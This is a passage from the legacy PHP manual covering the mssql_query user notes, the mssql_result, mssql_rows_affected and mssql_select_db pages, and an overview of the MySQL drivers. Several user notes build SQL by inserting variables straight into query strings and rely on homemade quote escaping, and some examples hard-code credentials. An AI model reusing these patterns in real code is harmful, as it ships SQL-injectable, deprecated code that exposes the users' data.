- mssql.textlimit = 65536
- mssql.textsize = 65536

in your php code, before your queries:
- mssql_query ( 'SET TEXTSIZE 65536' , $myConn );
- ini_set ( 'mssql.textlimit' , '65536' );
- ini_set ( 'mssql.textsize' , '65536' );
andrei_mole at yahoo dot com 07-Apr-2006 01:30
if anyone has faced a problem with displaying images from mssql image field it could be that they have an ole header put by sql.
here is an example. hope it helps:

<?php
$db=mssql_connect("server","user","pass");
$d=mssql_select_db("NorthWind", $db);
$sql = "SELECT Picture FROM Categories WHERE CategoryId=2";
$res = mssql_query($sql);
$row = mssql_fetch_array($res);
$data = $row['Picture'];
header("Content-Type: image/bmp");
//remove the ole header
$data = substr($data,78);
//print the pic in the browser
echo $data;
mssql_close();
?>
augustinus at netsession dot net 01-Mar-2006 10:53
Regarding the note of jesse at lostangel dot net, written on 17-Sep-2002 03:33 implementing the mysql_insert_id function for MSSQL I have a remark:

The example hasn't worked on my database server (SQL Server 2000 Standard Edition with SP3a, english) so i just left of the exec statement.
Instead I used:

$result = mssql_query("INSERT INTO STUFF(gaga,otherGaga) VALUES ('hello','apple'); SELECT @@IDENTITY as insertId;");

list ($gagaId) = mssql_fetch_row($result);
Rizwan Khan 22-Feb-2006 02:47
MSSQL will not let you use TEXT data in the where clause, TEXT data is BLOG data, its max size is 2,147,483,647 bytes (each character occupies one byte).
The varchar and char can have max of 8000 characters, so you can use text data in a where clause if you convert as follows convert(varchar(8000),SOMETEXTDATA)

select * from tHistory where myNotes=convert(varchar(8000),SOMETEXTDATA)
Rizwan Khan 22-Feb-2006 02:37
Just explaining how to get date in YYYY-MM-DD format much easily, when you use convert function in SQL you usually give the format as one of the arguments. for example <br>
select convert(varchar(20),getdate(),20)<br>
select convert(varchar(20),getdate(),120)<br>
will both return dates in yyyy-mm-dd hh:mi:ss(24h) format. you can also use <br>
select convert(varchar(20),getdate(),21)<br>
select convert(varchar(20),getdate(),121)<br>
in yyyy-mm-dd hh:mi:ss.mmm(24h) formats.<br>
So now when you have the date as string from either of the four convert functions you can either take the left part of the string or use a substring function to get the date in YYYY-MM-DD format.<br>
following are few examples.<br>
select left(convert(varchar(20),getdate(),20),10)<br>
select left(convert(varchar(20),getdate(),120),10)<br>
select left(convert(varchar(20),getdate(),21),10)<br>
select left(convert(varchar(20),getdate(),121),10)<br>
select substring(convert(varchar(20),getdate(),20),1,10)<br>
select substring(convert(varchar(20),getdate(),20),1,10)<br>
select substring(convert(varchar(20),getdate(),120),1,10)<br>
select substring(convert(varchar(20),getdate(),21),1,10)<br>
select substring(convert(varchar(20),getdate(),121),1,10)<br>
tristanx3 at rogers dot com 30-Dec-2005 07:35
It would appear that MSSQL will not let you use fields of the TEXT data type in WHERE clauses.

I tried running a simple query to get account data for a particular user based on email address, but the command was not returning any data.  I finally realized that this was because the emailaddress column was of the data type TEXT.  When I changed the WHERE clause in the query to test against a name, which was of type VARCHAR, the query worked perfectly.

I overcame this problem by converting the TEXT field to VARCHAR in the WHERE clause, as noted below:

<?php
### Field 'emailaddress' is of data type TEXT in the SQL database

# This would not work!
$sql = "SELECT * FROM accounts WHERE emailaddress = 'test@test.com'";

# Converting the data type inline solved the problem
$sql = "SELECT * FROM accounts WHERE CONVERT( VARCHAR, emailaddress ) = 'test@test.com'";
?>

This seems to have solved my problem, although I am still unsure of the limits (if any) to this solution.
12-Sep-2005 03:18
To get column of type datetime as varchar in format: "YYYY-MM-DD" you should use:

$query = "SELECT
   CAST(DATEPART(YYYY,row_date) AS CHAR(4)) + '-'
     + RIGHT(CAST(100+DATEPART(MM,row_date) AS CHAR(3)),2) + '-'
     + RIGHT(CAST(100+DATEPART(DD,row_date) AS CHAR(3)),2) + '' AS row_date,
            FROM TABLENAME WHERE id = '$id'";

(Where "row_date" is of type datetime)
11-Sep-2005 01:32
Another way how to use dates in queries:

$createdate="2005-01-30";

$query = "
DECLARE @newdate datetime;
SELECT @newdate=convert(varchar(100), '$createdate', 102);
INSERT INTO TABLE(NUMBER, DATE) VALUES ('$num', @newdate);"

and fire the query....
php at syntax101 dot com 08-Jul-2005 08:40
On certain server setups simply replacing a single quote with two single quotes will result in:
you\''d

I use the following function for single quote escaping quote for MSsql:

function escapeSingleQuotes($string){
    //escapse single quotes
    $singQuotePattern = "'";
    $singQuoteReplace = "''";
    return(stripslashes(eregi_replace($singQuotePattern, $singQuoteReplace, $string)));
}
php at syntax101 dot com 08-Jul-2005 08:39
On certain server setups simple replacing a single quote with two single quotes will result in:
you\''d

I use the following function for single quote escaping quote for MSsql:

function escapeSingleQuotes($string){
    //escapse single quotes
    $singQuotePattern = "'";
    $singQuoteReplace = "''";
    return(stripslashes(eregi_replace($singQuotePattern, $singQuoteReplace, $string)));
}
rzachris at yahoo dot com 19-May-2005 01:25
If you're having problems trying to get data stored in a varchar column with more than 255 chars use CONVERT to change the data type to TEXT like this:

$query=mssql_query("SELECT table.id, CONVERT(TEXT, table.comment) AS comment FROM table");

Don't forget to set name for the column (AS comment) or you won't be able to retrieve the data ...
Ben Mullins 01-Feb-2005 06:11
Although mssql_query does not support datetime paramaters with stored procedures, there is a simple way of getting around it.

Bind the parameter as a string i.e. SQLVARCHAR or SQLCHAR

mssql_bind($stmt, "@JoinDate", value, SQLVARCHAR, false,null,19);

and then use the sql server function CONVERT() in your stored procedure to convert the parameter to a datetime variable before using it.

SELECT @JD = convert(datetime,@JoinDate,103)
warwick dot barnes at aad dot gov dot au 11-Jan-2005 04:13
Using PHP 4.3.9 and MSSQL Library 7.0, when I try to SELECT text from a column (field) defined as VARCHAR 8000 I get only the first 255 characters of the text - it's trucated for no apparent reason.

To get round this I changed the column type from VARCHAR 8000 to TEXT, but then the output was trucated to 4096 characters.

To fix this I changed two values in PHP.INI:

mssql.textlimit = 16384
mssql.textsize = 16384

Now my text is trucated to 16384 characters, which is big enough for me - but you can apparently use a value as large as 2147483647.
roger4a45 at yahoo dot es 27-Oct-2004 02:15
Using Aplication Role with PHP

Introduction

Aplication Role is a Microsoft SQL Server 2000 feature that allow to make control what "source" use your data. It means that you can allow select, inset or update operation from your PHP code and deny it from and ODBC source, Microsoft Access or any kind of application that want to use your data.

Scenario:

Imagina you have a DAtabase named MYDB. This DB has three table. TABLEA, TABLEB and TABLEC. Imagine that your user named 'nemesis' can access to TABLEA from anywhere but you want that from table B and C access from your PHP code.

Follow this steps

[From your MSSQL Administrator]

1 -. From your Database MYDB create a new role (Standard Role). Insert this user inside this role.
2 -. Edit permisions and deny any operation at TABLEB and TABLEC.
3 -. Create a new Role (Aplication Role). For intance  it named 'myaccess' with a password 'anypassword'.
4 -. Edit permisions and allow any operation you wish at TABLEB and TABLEC

[From your source] (I don't include any control errors to simplify source)

$s = mssql_connect('MYSERVER','nemesis','nemesispassword');
$b = mssql_select_db('MYDB',$s);

//This one activate application role. Any user permision are
//ignored. User permision are override with application role
// permisions.

$query = "EXEC sp_setapprole 'myaccess', 'anypassword'";
$b = mssql_query($query);
$result = mssql_query('SELECT * FROM TABLEB,$s);
[...]

Note: If you kill "$query = ..." you will find out that SELECT fails. If you insert that line $quey will be succeed. Now, nemesis only can take data from TABLEB and TABLEC through your PHP code. If he/She try to use that data through ODBC driver then he can not do it.

NOte: Application role drops when you make a mssql_close.
dennis at -nospam- darknoise d0t de 27-Sep-2004 05:02
In response to post from jesse at lostangel dot net from 18-Sep-2002:

INSERT ...
SELECT @@IDENTITY
may NOT work as desired!
While running multiple queries at the same time, you will get the last identity value generated, somewhere in your database.

If you need to know the identity value generated by your INSERT statement, use SCOPE_IDENTITY().
aleks [aleks AT linuxgalaxy DOT org] 16-Apr-2004 01:39
Just in case anyone is having problems with mssql_query calling a procedure, where the procedure has multiple SELECTs, INSERTs and/or UPDATEs and some do not return any kind of a result, but some do.
When trying to run mssql_query in that case an error: "Warning: mssql_fetch_array(): 1 is not a Sybase result index in ..." would result, or if one uses something like "SELECT @@IDENTITY" to return something for those statements an error: "Expected dbnextrow() to return NO_MORE_ROWS." would result.
A simple fix for the error(s) is to use "SET NOCOUNT ON" statement before any statements that do not return anything and then "SET NOCOUNT OFF" before any statements that do.

--Aleks
labrat457_minusthispart!_*-*_!yahoo.com 04-Feb-2004 10:50
You can run a stored proceedure AND get back a result set from mssql_query().  I figured this little trick out when I realized I couldn't use the mssql_init() function group for my stored procedure stuff as I needed datetime variables to be passed, and they are not supported.  However, you can "encapsulate" a snippet of stored procedure within a normal query that can be executed via mssql_query() and have a result value returned.  For example, here's a query which passes a store's local date and time to a stored procedure that converts it to the GMT values that is used internally by the rest of the database structure:
$temptime=time();
$storeid = 68;
$deptid = 70;
$StartDate = strftime("%b %d %Y %H:%M:%S",$temptime);
$spquery="
BEGIN
DECLARE @date datetime,
    @GMreturn datetime
SELECT @date='$StartDate'
execute TZ_toGMT '$storeid','$deptid',@date,@GMreturn OUTPUT
SELECT @GMreturn
END";

Now, when $spquery is passed to mssql_query(), it will return with a value for @GMreturn, which can be parsed out with mssql_fetch_array() as with any other query.
papaggel at csd dot uoc dot gr 20-Nov-2003 03:16
If you try to INSERT a large string to a MSSQLServer 2000 table attribute of type nvarchar/varchar/text/nchar/char, but it is limited to the first 256 characters do the following:

1. Open Tools->SQL Query Analyzer
2. In SQL Query Analyzer
    i.   Go to Tools->Options
    ii.  Select the "Results" tab
    iii. Change "Maximum characters per column" to something else
Me 29-Aug-2003 12:53
Kelsey made a note that the only character that MSSQL needs "escaping" is the single quote ', and it done by using two single quotes ''.  You will want to make sure that, when using strings, you contain the strings in single quotes, since you can't escape double quotes.

In addition, you won't find a mssql_escape_string() function (though there are for other DB's, i.e. mysql_escape_string()), but using:

$escapedString = str_replace("'","''",$stringToEscape);

Will accomplish the same thing.
jagos at ebrno dot net 24-Jul-2003 04:27
This's note about mssql and truncating binary output from database (mostly image ...), i spent about 2 days tuning this stuff and fortunately i made the hit ...
    so if you're experiencing truncates of your binary data read from mssql database (it looks like incomplete, broken or even no images) check mssql section of your php.ini file and set values of mssql.textlimit and mssql.textsize variables to their maximum (2147483647) or at least bigger size than the default is ... so i hope it helps a bit, have a good time
arnarb at oddi dot is 30-Apr-2003 06:16
If you'd like to store binary data, such as an image, in MSSQL, it's common to have problems with addslashes and co.

This is because the MSSQL parser makes a clear distinction between binary an character constants. You can therefore not easilly insert binary data with "column = '$data'" syntax like in MySQL and others.

The MSSQL documentation states that binary constants should be represented by their unquoted hexadecimal byte-string. That is.. to set the binary column "col" to contain the bytes 0x12, 0x65 and 0x35 you shold do "col = 0x126535" in you query.

I've successfully stored and retrieved jpeg images in a column with the "image" datatype. Here's how:

// storing a file
$datastring = file_get_contents("img.jpg");
$data = unpack("H*hex", $datastring);
mssql_query("insert into images (name, data)
         values ('img.jpg', 0x".$data['hex'].")");

// retrieving
$result = mssql_query("select data from images where name = 'img.jpg'");
$row = mssql_fetch_assoc($result);
header("Content-type: image/jpeg;");
echo $row['data'];

As you can see there is nothing to do with the image on they way out, just blurb out the buffer your recieve as with any other field type.
AzRaH 28-Feb-2003 02:15
If you are experiencing TRUNCATING issues trying to return more than 4096 bytes on a VARCHAR field try converting it to text:

CONVERT(TEXT, Yourfield)

EX:
$sql->db_select("SELECT cc_main.cc_entry_id, CONVERT(TEXT, cc_main.comment) FROM cc_main");
wind at wag dot nl 14-Nov-2002 12:55
Had a similar problem to Jesse

What I experienced with Microsoft SQLserver 2000 and PHP 4.1.2 was that if you execute a query consisting of multiple queries separated by a semicolon with mssql_query is that the queries themselves are executed but the connection is dropped immediately after that. It seems that the phpdriver doesn't count on this.
The EXEC solution (or maybe sp_executesql) works fine in these cases because to the db-library it is one statement.
php at netznacht dot de 11-Oct-2002 04:12
Just tried to give a string:

Welcome at Mike's   to the SQL Server:

He misinterpreted the \' as the end of the String.
MySQL will resolve  \' and not think that the String has ended.

You should replace the \' before constructing the MSSQL Query string.
jesse at lostangel dot net 17-Sep-2002 03:33
While trying to return a @@IDENTITY after an INSERT statement, the only way I could get a valid return result was to encapsulate the query within an EXEC like so:

    $result = mssql_query("
        exec(\"
        INSERT INTO Files
            (ownerId, name, sizeKB, path)
            VALUES ('$contactId', '$userfile_name', '$filesize', '$path')
        SELECT @@IDENTITY as fileId\")
        ");
    list($fileId) = mssql_fetch_row($result);

This returned the appropriate @@IDENTITY in a valid result set.  Not sure if mssql supports multiple inline commands or not.  But that assumption would back the useage of the EXEC command in order to execute these properly.
adamhooper at videotron dot ca 15-Jul-2002 11:15
As with all _query() functions, if there is no database connection and mssql_connect() fails, the return value will be NULL (not false).
cusaacb at squared dot com 20-Jun-2002 12:04
Using the latest version of freetds with support for tds ver 7.0.  I could not get more than 256 characters on varchar until I set the environment variable TDSVER=70.

Then it correctly returns all of the field.
arthur dot mcgibbon at btinternet dot com 08-Apr-2002 08:01
The mssql_execute etc. commands for stored procs do not seem to support a DATETIME type.
This means using mssql_query.
Now problems occur when you want to use parameters that have Input values and Output values.  SQL Server refuses to acknowledge the following...

declare @ret int, @i int
select @i = 25
exec @ret = testsp @Param1 = @i output
select @ret, @i

It doesn't like 2 select statements, even when the first is changed to "set".

To get round this, put the whole query into an exec command.
e.g.
mssql_query("exec('declare @ret int, @i int
select @i = 25
exec @ret = testsp @Param1 = @i output
select @ret, @i')"

This seems to work fine.
wraithgar at hotmail dot com 31-Jul-2001 01:49
We are using --with-sybase=/opt/sybase-11.9.2/

We had a problem at first getting mssql results w/ a text field to return anything more than 4096 bytes.
The mssql.textlimit and mssql.textsize parameters in php.ini had no effect on this.
Turns out you can control this from the mssql end w/ one simple query
mssql_query("set textsize 65536");

Of course, 65536 is just an example, use whatever value you need to get back as a max.

We tested it and the setting stayed through the whole connection, no need to run that query before EVERY one of your real queries.  However, it didn't seem to retain across sessions.. (sorry, can't simply run the query once and forget about it)

Hope this helps others who are banging their head on a wall like we were.
mssql_pconnect
mssql_result
Mssql Functions


Get result data

mssql_query
mssql_rows_affected
Mssql Functions
PHP Manual

mssql_result

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_result — Get result data

Description

string mssql_result ( resource $result , int $row , mixed $field )

mssql_result() returns the contents of one cell from a MS SQL result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

row

The row number.

field

Can be the field's offset, the field's name or the field's table dot field's name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), it uses the alias instead of the column name.

Note:

Specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Return Values

Returns the contents of the specified cell.

Examples

Example #1 mssql_result() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
} else {
    for ($i = 0; $i < mssql_num_rows($query); ++$i) {
        echo mssql_result($query, $i, 'username'), PHP_EOL;
    }
}

// Free the query result
mssql_free_result($query);
?>

The above example will output something similar to:

Kalle
Felipe
Emil
Ross

Example #2 Faster alternative to above example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username] FROM [php].[dbo].[userlist]');

// Check if there were any records
if (!mssql_num_rows($query)) {
    echo 'No records found';
} else {
    while ($row = mssql_fetch_array($query)) {
        echo $row['username'], PHP_EOL;
    }
}

// Free the query result
mssql_free_result($query);
?>

Notes

Note:

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than mssql_result().

See Also

Recommended high-performance alternatives:

  • mssql_fetch_row() - Get row as enumerated array
  • mssql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mssql_fetch_assoc() - Returns an associative array of the current row in the result
  • mssql_fetch_object() - Fetch row as object

User Contributed Notes

goodrichNOSPAM at raccoon dot com 27-Sep-2002 09:50
The "i" parameter appears to be the row number.  This was implied by checking mysql_result, which documents what the middle paramter specifies.
mssql_query
mssql_rows_affected
Mssql Functions


Returns the number of records affected by the query

mssql_result
mssql_select_db
Mssql Functions
PHP Manual

mssql_rows_affected

(PHP 4 >= 4.0.4, PHP 5, PECL odbtp >= 1.1.1)

mssql_rows_affected — Returns the number of records affected by the query

Description

int mssql_rows_affected ( resource $link_identifier )

Returns the number of records affected by the last write query.

Parameters

link_identifier

A MS SQL link identifier, returned by mssql_connect() or mssql_pconnect().

Return Values

Returns the number of records affected by last operation.

Examples

Example #1 mssql_rows_affected() example

<?php
// Delete all rows in a table
mssql_query('TRUNCATE TABLE [php].[dbo].[persons]');

echo 'Deleted ' . mssql_rows_affected($link) . ' row(s)';
?>

User Contributed Notes

rowan dot collins at gmail dot com 31-May-2007 08:42
Note that, as the page says, this function expects an MSSQL *Link* resource, not a *result* resource. This is a bit counter-intuitive, and differs from, for instance, pg_affected_rows (though not, apparently, mysql_affected_rows).

<?php
$link = mssql_pconnect($db_host,$db_user,$db_pass);
mssql_select_db($db_name, $link);

$result = mssql_query('Select 1', $link);

$rows = mssql_rows_affected($result); # ERROR!
$rows = mssql_rows_affected($link); # Correct
?>
mssql_result
mssql_select_db
Mssql Functions


Select MS SQL database

mssql_rows_affected
MySQL
Mssql Functions
PHP Manual

mssql_select_db

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_select_db — Select MS SQL database

Description

bool mssql_select_db ( string $database_name [, resource $link_identifier ] )

mssql_select_db() sets the current active database on the server that's associated with the specified link identifier.

Every subsequent call to mssql_query() will be made on the active database.

Parameters

database_name

The database name.

To escape the name of a database that contains spaces, hyphens ("-"), or any other exceptional characters, the database name must be enclosed in brackets, as is shown in the example, below. This technique must also be applied when selecting a database name that is also a reserved word (such as primary).

link_identifier

A MS SQL link identifier, returned by mssql_connect() or mssql_pconnect().

If no link identifier is specified, the last opened link is assumed. If no link is open, the function will try to establish a link as if mssql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_select_db() example

<?php
// Create a link to MSSQL
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

// Select the database 'php'
mssql_select_db('php', $link);
?>

Example #2 Escaping the database name with square brackets

<?php
// Create a link to MSSQL
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

// Select the database 'my.database-name'
mssql_select_db('[my.database-name]', $link);
?>

See Also

  • mssql_connect() - Open MS SQL server connection
  • mssql_pconnect() - Open persistent MS SQL connection
  • mssql_query() - Send MS SQL query

User Contributed Notes

jack at downeastinternet dot com 28-Oct-2010 12:37
I have noted that mssql_select_db fails if the database name contains a dash or hyphen. for example a database named foo-bar will fail and the error that is returned indicates that the name was interpreted as only 'foo'
Ben Ward 06-Sep-2010 04:17
A way around this if you cannot avoid a long DB name is to create a new db and add views.

eg a database called [abcdefghijklmnopqrstuvwxyzABCDEFG] has a table in it called tblHelloWorld.
To reference this you create a database called [alphabet] and create a view with the following query,

SELECT *
FROM [abcdefghijklmnopqrstuvwxyzABCDEFG].dbo.tblHelloWorld

save this view as tblHelloWorld

not sure if this will work on inserts but it does on select queries.
oyoboy 22-Sep-2008 10:00
Database names with '-' must also be enclosed in [].

eg. if $databaseName = "my-database" must be selected as:

    mssql_select_db('['.$databaseName.']', $connection);
edoceo 20-Aug-2008 11:59
Use of square brackets to enclose the database name is also necessary if the name contains a dot: '.'

e.g.

mssql_select_db('Company.ERP');

Produces the error:
Warning: mssql_select_db(): Sybase:  Server message:  Could not locate entry in sysdatabases for database 'Company'. No entry found with that name. Make sure that the name is entered correctly. (severity 16, procedure N/A) in

mssql_select_db('[Company.ERP]');

Will select successfully
ifintel 10-Feb-2008 07:15
mssql_select_db() seems to truncate the databasename at the length of 30 characters. In my example the following error occured:

mssql_select_db("VeryLongDatabaseNameWhichIsReallyLong", $this->dbConn);

Warning: mssql_select_db(): message: Could not locate entry in sysdatabases for database 'VeryLongDatabaseNameWhichIsRea'. No entry found with that na
me. Make sure that the name is entered correctly. (severity 16) in...

A shorter databasename solved this issue.
mssql_rows_affected
MySQL
Mssql Functions


MySQL Drivers and Plugins

PHP offers several MySQL drivers and plugins for accessing and handling MySQL.

The differences and functionality of the MySQL extensions are described within the overview of this section.

  • Overview of the MySQL PHP drivers
    • Terminology overview
    • Choosing an API
    • Choosing a library
  • Mysql — Original MySQL API
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • MySQL Functions
  • Mysqli — MySQL Improved Extension
    • Introduction
    • Overview
    • Quickstart
    • Installing/Configuring
    • The mysqli Extension and Persistent Connections
    • Predefined Constants
    • Notes
    • The MySQLi Extension Function Summary
    • mysqli — The mysqli class
    • mysqli_stmt — The mysqli_stmt class
    • mysqli_result — The mysqli_result class
    • mysqli_driver — The mysqli_driver class
    • mysqli_warning — The mysqli_warning class
    • Aliases and deprecated Mysqli Functions
  • Mysqlnd — MySQL Native Driver
    • Introduction
    • Overview
    • Installation
    • Runtime Configuration
    • Persistent Connections
    • Statistics
    • Notes
    • MySQL Native Driver Plugin API
  • mysqlnd_ms — Mysqlnd replication and load balancing plugin
    • Introduction
    • Quickstart and Examples
    • Concepts
    • Installing/Configuring
    • Predefined Constants
    • Mysqlnd_ms Functions
    • Change History
  • mysqlnd_qc — Mysqlnd query result cache plugin
    • Introduction
    • Quickstart and Examples
    • Installing/Configuring
    • Predefined Constants
    • mysqlnd_qc Functions
    • Change History
  • mysqlnd_uh — Mysqlnd user handler plugin
    • Introduction
    • Quickstart and Examples
    • Installing/Configuring
    • Predefined Constants
    • MysqlndUhConnection — The MysqlndUhConnection class
    • MysqlndUhPreparedStatement — The MysqlndUhPreparedStatement class
    • Mysqlnd_uh Functions
    • Change History

User Contributed Notes

There are no user contributed notes for this page.
mssql_select_db
Overview of the MySQL PHP drivers
Vendor Specific Database Extensions


Overview of the MySQL PHP drivers

  • Terminology overview
  • Choosing an API
  • Choosing a library

User Contributed Notes

There are no user contributed notes for this page.
MySQL
Terminology overview
MySQL


Terminology overview

This section provides an introduction to the options available to you when developing a PHP application that needs to interact with a MySQL database.

What is an API?

An Application Programming Interface, or API, defines the classes, methods, functions and variables that your application will need to call in order to carry out its desired task. In the case of PHP applications that need to communicate with databases the necessary APIs are usually exposed via PHP extensions.

APIs can be procedural or object-oriented. With a procedural API you call functions to carry out tasks, with the object-oriented API you instantiate classes and then call methods on the resulting objects. Of the two the latter is usually the preferred interface, as it is more modern and leads to better organized code.

When writing PHP applications that need to connect to the MySQL server there are several API options available. This document discusses what is available and how to select the best solution for your application.

What is a Connector?

In the MySQL documentation, the term connector refers to a piece of software that allows your application to connect to the MySQL database server. MySQL provides connectors for a variety of languages, including PHP.

If your PHP application needs to communicate with a database server you will need to write PHP code to perform such activities as connecting to the database server, querying the database and other database-related functions. Software is required to provide the API that your PHP application will use, and also handle the communication between your application and the database server, possibly using other intermediate libraries where necessary. This software is known generically as a connector, as it allows your application to connect to a database server.

What is a Driver?

A driver is a piece of software designed to communicate with a specific type of database server. The driver may also call a library, such as the MySQL Client Library or the MySQL Native Driver. These libraries implement the low-level protocol used to communicate with the MySQL database server.

By way of an example, the PHP Data Objects (PDO) database abstraction layer may use one of several database-specific drivers. One of the drivers it has available is the PDO MYSQL driver, which allows it to interface with the MySQL server.

Sometimes people use the terms connector and driver interchangeably, this can be confusing. In the MySQL-related documentation the term "driver" is reserved for software that provides the database-specific part of a connector package.

What is an Extension?

In the PHP documentation you will come across another term - extension. The PHP code consists of a core, with optional extensions to the core functionality. PHP's MySQL-related extensions, such as the mysqli extension, and the mysql extension, are implemented using the PHP extension framework.

An extension typically exposes an API to the PHP programmer, to allow its facilities to be used programmatically. However, some extensions which use the PHP extension framework do not expose an API to the PHP programmer.

The PDO MySQL driver extension, for example, does not expose an API to the PHP programmer, but provides an interface to the PDO layer above it.

The terms API and extension should not be taken to mean the same thing, as an extension may not necessarily expose an API to the programmer.

User Contributed Notes

There are no user contributed notes for this page.
Overview of the MySQL PHP drivers
Choosing an API
Overview of the MySQL PHP drivers


Choosing an API

PHP offers three different APIs to connect to MySQL. Below we show the APIs provided by the mysql, mysqli, and PDO extensions. Each code snippet creates a connection to a MySQL server running on "example.com" using the username "user" and the password "password". And a query is run to greet the user.

Example #1 Comparing the three MySQL APIs

<?php
// mysqli
$mysqli = new mysqli("example.com", "user", "password", "database");
$result = $mysqli->query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = $result->fetch_assoc();
echo htmlentities($row['_message']);

// PDO
$pdo = new PDO('mysql:host=example.com;dbname=database', 'user', 'password');
$statement = $pdo->query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = $statement->fetch(PDO::FETCH_ASSOC);
echo htmlentities($row['_message']);

// mysql
$c = mysql_connect("example.com", "user", "password");
mysql_select_db("database");
$result = mysql_query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = mysql_fetch_assoc($result);
echo htmlentities($row['_message']);
?>

Recommended API

It is recommended to use either the mysqli or PDO_MySQL extensions. It is not recommended to use the old mysql extension for new development. A detailed feature comparison matrix is provided below. The overall performance of all three extensions is considered to be about the same. Although the performance of the extension contributes only a fraction of the total run time of a PHP web request. Often, the impact is as low as 0.1%.

Feature comparison

 | ext/mysqli | PDO_MySQL | ext/mysql
PHP version introduced | 5.0 | 5.1 | 2.0
Included with PHP 5.x | Yes | Yes | Yes
Development status | Active | Active | Maintenance only
Lifecycle | Active | Active | Long term deprecation announced
Recommended for new projects | Yes | Yes | No
OOP Interface | Yes | Yes | No
Procedural Interface | Yes | No | Yes
API supports non-blocking, asynchronous queries with mysqlnd | Yes | No | No
Persistent Connections | Yes | Yes | Yes
API supports Charsets | Yes | Yes | Yes
API supports server-side Prepared Statements | Yes | Yes | No
API supports client-side Prepared Statements | No | Yes | No
API supports Stored Procedures | Yes | Yes | No
API supports Multiple Statements | Yes | Most | No
API supports Transactions | Yes | Yes | No
Transactions can be controlled with SQL | Yes | Yes | Yes
API supports Transactions | Yes | Yes | No
Supports all MySQL 5.1+ functionality | Yes | Most | No

User Contributed Notes

There are no user contributed notes for this page.
Terminology overview
Choosing a library
Overview of the MySQL PHP drivers


Choosing a library

The mysqli, PDO_MySQL and mysql PHP extensions are lightweight wrappers on top of a C client library. The extensions can either use the mysqlnd library or the libmysql library. Choosing a library is a compile time decision.

The mysqlnd library is part of the PHP distribution since 5.3.0. It offers features like lazy connections and query caching, features that are not available with libmysql, so using the built-in mysqlnd library is highly recommended. See the mysqlnd documentation for additional details, and a listing of features and functionality that it offers.

Example #1 Configure commands for using mysqlnd or libmysql

// Recommended, compiles with mysqlnd
$ ./configure --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql=mysqlnd

// Not recommended, compiles with libmysql
$ ./configure --with-mysqli=/path/to/mysql_config --with-pdo-mysql=/path/to/mysql_config --with-mysql=/path/to/mysql_config

Library feature comparison

It is recommended to use the mysqlnd library instead of the MySQL Client Server library (libmysql). Both libraries are supported and constantly being improved.

 | MySQL native driver (mysqlnd) | MySQL client server library (libmysql)
Part of the PHP distribution | Yes | No
PHP version introduced | 5.3.0 | N/A
License | PHP License 3.01 | Dual-License
Development status | Active | Active
Lifecycle | No end announced | No end announced
PHP 5.4 compile default (for all MySQL extensions) | Yes | No
PHP 5.3 compile default (for all MySQL extensions) | No | Yes
Compression protocol support | Yes (5.3.1+) | yes
SSL support | Yes (5.3.3+) | Yes
Named pipe support | Yes (5.3.4+) | Yes
Non-blocking, asynchronous queries | Yes | No
Performance statistics | Yes | No
LOAD LOCAL INFILE respects the open_basedir directive | Yes | No
PHP memory limits followed | Yes | No
Return numeric column as double (COM_QUERY) | Yes | No
Return numeric column as string (COM_QUERY) | Yes | Yes
Plugin API | Yes | Limited
Read/Write splitting for MySQL Replication | Yes, with plugin | No
Load Balancing | Yes, with plugin | No
Fail over | Yes, with plugin | No
Lazy connections | Yes, with plugin | No
Query caching | Yes, with plugin | No
Transparent query manipulations (E.g., auto-EXPLAIN or monitoring) | Yes, with plugin | No

User Contributed Notes

There are no user contributed notes for this page.
Choosing an API
Mysql
Overview of the MySQL PHP drivers


Original MySQL API

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • MySQL extension overview example
  • MySQL Functions
    • mysql_affected_rows — Get number of affected rows in previous MySQL operation
    • mysql_client_encoding — Returns the name of the character set
    • mysql_close — Close MySQL connection
    • mysql_connect — Open a connection to a MySQL Server
    • mysql_create_db — Create a MySQL database
    • mysql_data_seek — Move internal result pointer
    • mysql_db_name — Retrieves database name from the call to mysql_list_dbs
    • mysql_db_query — Selects a database and executes a query on it
    • mysql_drop_db — Drop (delete) a MySQL database
    • mysql_errno — Returns the numerical value of the error message from previous MySQL operation
    • mysql_error — Returns the text of the error message from previous MySQL operation
    • mysql_escape_string — Escapes a string for use in a mysql_query
    • mysql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • mysql_fetch_assoc — Fetch a result row as an associative array
    • mysql_fetch_field — Get column information from a result and return as an object
    • mysql_fetch_lengths — Get the length of each output in a result
    • mysql_fetch_object — Fetch a result row as an object
    • mysql_fetch_row — Get a result row as an enumerated array
    • mysql_field_flags — Get the flags associated with the specified field in a result
    • mysql_field_len — Returns the length of the specified field
    • mysql_field_name — Get the name of the specified field in a result
    • mysql_field_seek — Set result pointer to a specified field offset
    • mysql_field_table — Get name of the table the specified field is in
    • mysql_field_type — Get the type of the specified field in a result
    • mysql_free_result — Free result memory
    • mysql_get_client_info — Get MySQL client info
    • mysql_get_host_info — Get MySQL host info
    • mysql_get_proto_info — Get MySQL protocol info
    • mysql_get_server_info — Get MySQL server info
    • mysql_info — Get information about the most recent query
    • mysql_insert_id — Get the ID generated in the last query
    • mysql_list_dbs — List databases available on a MySQL server
    • mysql_list_fields — List MySQL table fields
    • mysql_list_processes — List MySQL processes
